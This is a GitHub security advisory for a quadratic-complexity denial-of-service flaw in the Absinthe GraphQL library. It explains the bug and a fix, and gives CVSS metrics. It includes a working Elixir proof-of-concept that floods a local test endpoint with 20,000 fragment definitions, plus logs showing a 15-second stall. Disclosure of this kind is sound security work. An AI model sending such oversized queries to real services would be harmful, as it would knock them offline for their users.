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Absinthe: Quadratic fragment-name uniqueness check

High severity GitHub Reviewed Published May 8, 2026 in absinthe-graphql/absinthe • Updated May 14, 2026

Package

erlang absinthe (Erlang)

Affected versions

>= 1.2.0, < 1.10.2

Patched versions

1.10.2

Description

Summary

An unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).

Introduced like with absinthe-graphql/absinthe@0b46e3b#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14

Details

Absinthe.Phase.Document.Validation.UniqueFragmentNames (lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40) walks every fragment in input.fragments via run/2, calling process/2 on each one. process/2 then calls duplicate?/2, which evaluates Enum.count(fragments, fn f -> f.name == name end) — a full linear scan of the fragment list — for every individual fragment. The result is N · N name comparisons per document.

input.fragments is built directly from the GraphQL query text the caller sends at the head of the pipeline, so N is attacker-controlled. A minimum-size fragment definition (fragment a on T{f}) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps N.

The fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:

dups =
  for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),
      k > 1,
      into: MapSet.new(),
      do: name

and then check MapSet.member?(dups, fragment.name) inside process/2. That collapses the phase to O(N).

PoC

A standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the UniqueFragmentNames phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.

Impact

Algorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.

Scripts and Logs

# Verifies: Quadratic fragment-name uniqueness check

Mix.install([
  {:absinthe, "~> 1.7"},
  {:absinthe_plug, "~> 1.5"},
  {:bandit, "~> 1.0"},
  {:plug, "~> 1.15"},
  {:jason, "~> 1.4"},
  {:req, "~> 0.5"}
])

defmodule VictimSchema do
  use Absinthe.Schema

  object :thing do
    field :f, :string
  end

  query do
    field :thing, :thing do
      resolve(fn _, _ -> {:ok, %{f: "x"}} end)
    end
  end
end

defmodule VictimRouter do
  use Plug.Router

  plug :match

  plug Plug.Parsers,
    parsers: [:json],
    pass: ["*/*"],
    json_decoder: Jason

  plug :dispatch

  forward "/graphql",
    to: Absinthe.Plug,
    init_opts: [schema: VictimSchema]

  match _ do
    send_resp(conn, 404, "nope")
  end
end

port = 47817
{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)

n = 20_000

fragments =
  1..n
  |> Enum.map(fn i -> "fragment f#{i} on Thing{f}" end)
  |> Enum.join(" ")

query = "{ thing { f } } " <> fragments

IO.puts(
  "Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}"
)

{us, response} =
  :timer.tc(fn ->
    Req.post!("http://127.0.0.1:#{port}/graphql",
      json: %{query: query},
      receive_timeout: 600_000,
      retry: false
    )
  end)

ms = div(us, 1000)
IO.puts("HTTP response status: #{response.status}")
IO.puts("Total request elapsed (validation-dominated): #{ms} ms")

result =
  if ms > 1000 do
    "VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check)."
  else
    "NOT VERIFIED: elapsed #{ms} ms below DoS threshold"
  end

IO.puts(result)

Logs

HTTP response status: 200
Total request elapsed (validation-dominated): 15451 ms
VERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).

References

@cschiewek cschiewek published to absinthe-graphql/absinthe May 8, 2026
Published by the National Vulnerability Database May 8, 2026
Published to the GitHub Advisory Database May 14, 2026
Reviewed May 14, 2026
Last updated May 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(37th percentile)

Weaknesses

Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.

CVE ID

CVE-2026-43967

GHSA ID

GHSA-9mhv-8h52-q7q2

Credits

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